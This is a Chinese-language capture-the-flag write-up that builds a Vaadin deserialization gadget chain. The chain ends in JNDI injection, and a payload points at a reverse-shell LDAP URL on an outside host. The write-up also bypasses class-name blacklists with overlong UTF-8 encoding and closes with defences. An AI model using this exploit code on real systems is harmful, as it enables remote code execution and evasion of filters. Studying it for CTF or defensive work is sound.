从HECTF ezjava 入手 Vaadin 调用链挖掘
字数 1209 2025-08-22 12:22:15
Vaadin反序列化漏洞分析与利用
1. 漏洞背景
Vaadin是一个用于构建Web应用程序的Java框架。在HECTF ezjava题目中,发现Vaadin框架存在反序列化漏洞利用链,可以通过精心构造的Payload实现远程代码执行。
2. 环境搭建
要分析该漏洞,需要搭建以下环境:
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-shared</artifactId>
<version>7.7.14</version>
</dependency>
3. 初始利用链分析
3.1 NestedMethodProperty类
初始的sink点在NestedMethodProperty类的getValue方法:
public T getValue() {
try {
Object object = instance;
for (Method m : getMethods) {
object = m.invoke(object);
if (object == null) {
return null;
}
}
return (T) object;
} catch (final Throwable e) {
throw new MethodException(this, e);
}
}
关键点:
object可控Method从getMethods循环获取
3.2 getMethods来源
getMethods在initialize方法中初始化:
private void initialize(Class<?> beanClass, String propertyName) {
List<Method> getMethods = new ArrayList<Method>();
// 解析属性名,获取getter方法
String[] simplePropertyNames = propertyName.split("\\.");
for (int i = 0; i < simplePropertyNames.length; i++) {
String simplePropertyName = simplePropertyNames[i].trim();
Method getter = MethodProperty.initGetterMethod(simplePropertyName, propertyClass);
propertyClass = getter.getReturnType();
getMethods.add(getter);
}
// 其他初始化代码...
}
3.3 调用链触发点
getValue方法在PropertysetItem的toString方法中被调用:
public String toString() {
String retValue = "";
Iterator<?> i = this.getItemPropertyIds().iterator();
while (i.hasNext()) {
Object propertyId = i.next();
retValue = retValue + this.getItemProperty(propertyId).getValue();
if (i.hasNext()) {
retValue = retValue + " ";
}
}
return retValue;
}
3.4 初始Payload构造
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{getTemplates()});
setFieldValue(templates, "_name", "ooyywwll");
setFieldValue(templates, "_tfactory", null);
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty<?> nestedMethodProperty = new NestedMethodProperty<>(templates, "outputProperties");
pItem.addItemProperty("test", nestedMethodProperty);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException, "val", pItem);
4. WAF绕过分析
题目中存在两个WAF:
4.1 MyObjectInputStream WAF
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName().toLowerCase();
String[] denyClasses = {
"java.net.InetAddress",
"org.apache.commons.collections.Transformer",
"org.apache.commons.collections.functors",
"C3P0",
"Jackson",
"NestedMethodProperty",
"TemplatesImpl"
};
// 检查黑名单...
}
4.2 normal类WAF
public boolean blacklist(String data) {
String[] blacklist = {
"BadAttributeValueExpException",
"Collections$UnmodifiableList",
"PropertysetItem",
"AbstractClientConnector",
"Enum",
"SQLContainer",
"LinkedHashMap",
"TableQuery",
"AbstractTransactionalQuery",
"J2EEConnectionPool",
"DefaultSQLGenerator"
};
// 检查黑名单...
}
5. 替代利用链分析
由于初始利用链被WAF拦截,需要寻找替代方案。
5.1 AbstractSelect的getValue方法
public Object getValue() {
Object retValue = super.getValue();
if (retValue != null && this.items != null && this.items.containsId(retValue)) {
return retValue;
}
// 其他代码...
}
关键点:
items可控retValue可控- 调用
containsId方法
5.2 SQLContainer的containsId方法
public boolean containsId(Object itemId) {
if (itemId instanceof RowId && !(itemId instanceof TemporaryRowId)) {
try {
return this.queryDelegate.containsRowWithKey(((RowId)itemId).getId());
} catch (Exception var4) {
getLogger().log(Level.WARNING, "containsId query failed", var4);
}
}
// 其他代码...
}
5.3 TableQuery的containsRowWithKey方法
public boolean containsRowWithKey(Object... keys) throws SQLException {
// 构建查询条件
StatementHelper sh = this.sqlGenerator.generateSelectQuery(...);
// 开始事务
boolean shouldCloseTransaction = false;
if (!this.isInTransaction()) {
shouldCloseTransaction = true;
this.beginTransaction();
}
// 执行查询...
}
5.4 J2EEConnectionPool的reserveConnection方法
public Connection reserveConnection() throws SQLException {
Connection conn = this.getDataSource().getConnection();
conn.setAutoCommit(false);
return conn;
}
private DataSource getDataSource() throws SQLException {
if (this.dataSource == null) {
this.dataSource = this.lookupDataSource();
}
return this.dataSource;
}
private DataSource lookupDataSource() throws SQLException {
try {
InitialContext ic = new InitialContext();
return (DataSource)ic.lookup(this.dataSourceJndiName);
} catch (NamingException var2) {
throw new SQLException("NamingException - Cannot connect to the database. Cause: " + var2.getMessage());
}
}
最终sink点是JNDI注入。
6. 最终Payload构造
J2EEConnectionPool j2EEConnectionPool = new J2EEConnectionPool("ldap://ip:1389/Basic/ReverseShell/ip/2333");
// 反射创建TableQuery实例
Class<TableQuery> clazz3 = (Class<TableQuery>) Class.forName("com.vaadin.data.util.sqlcontainer.query.TableQuery");
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz3, Object.class.getConstructor());
TableQuery tableQuery = (TableQuery) sc.newInstance();
// 设置TableQuery属性
ReflectionUtil.setField(tableQuery, "primaryKeyColumns", new ArrayList<>());
ReflectionUtil.setField(tableQuery, "fullTableName", "test");
ReflectionUtil.setField(tableQuery, "sqlGenerator", new DefaultSQLGenerator());
setFieldValue(tableQuery, "connectionPool", j2EEConnectionPool);
// 创建SQLContainer
Class<SQLContainer> clazz = (Class<SQLContainer>) Class.forName("com.vaadin.data.util.sqlcontainer.SQLContainer");
Constructor<?> a = clazz.getDeclaredConstructor();
a.setAccessible(true);
SQLContainer sql = (SQLContainer) a.newInstance();
setFieldValue(sql, "queryDelegate", tableQuery);
// 创建ListSelect
ListSelect listSelect = new ListSelect();
RowId id = new RowId("id");
setFieldValue(listSelect, "value", id);
setFieldValue(listSelect, "multiSelect", true);
setFieldValue(listSelect, "items", sql);
// 构建最终对象
PropertysetItem propertysetItem = new PropertysetItem();
propertysetItem.addItemProperty("key", listSelect);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
setFieldValue(badAttributeValueExpException, "val", propertysetItem);
7. UTF-8编码绕过WAF
为了绕过normal类的黑名单检查,可以使用UTF-8 overlong encoding技术:
public class UTF8_overlong_encode extends ObjectOutputStream {
// 实现UTF-8 overlong编码
// ...
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
String name = desc.getName();
// 使用三字节编码替换原始类名
charWriteThreeBytes(name);
// 写入其他描述符信息...
}
}
8. 漏洞利用步骤总结
- 构造J2EEConnectionPool指向恶意LDAP服务器
- 通过反射创建TableQuery并设置connectionPool
- 创建SQLContainer并设置queryDelegate为TableQuery
- 创建ListSelect并设置items为SQLContainer
- 将ListSelect添加到PropertysetItem
- 使用BadAttributeValueExpException作为入口点
- 使用UTF-8 overlong编码绕过WAF检查
- 发送恶意序列化数据触发漏洞
9. 防御措施
- 避免反序列化不可信数据
- 使用白名单机制替代黑名单
- 更新到最新版本的Vaadin框架
- 实施严格的输入验证
- 使用Java安全管理器限制敏感操作
10. 总结
该漏洞利用链展示了如何通过Vaadin框架的反序列化功能实现远程代码执行,同时演示了如何绕过WAF防护措施。关键在于理解框架内部的对象交互和调用链构造,以及使用编码技术绕过安全检测。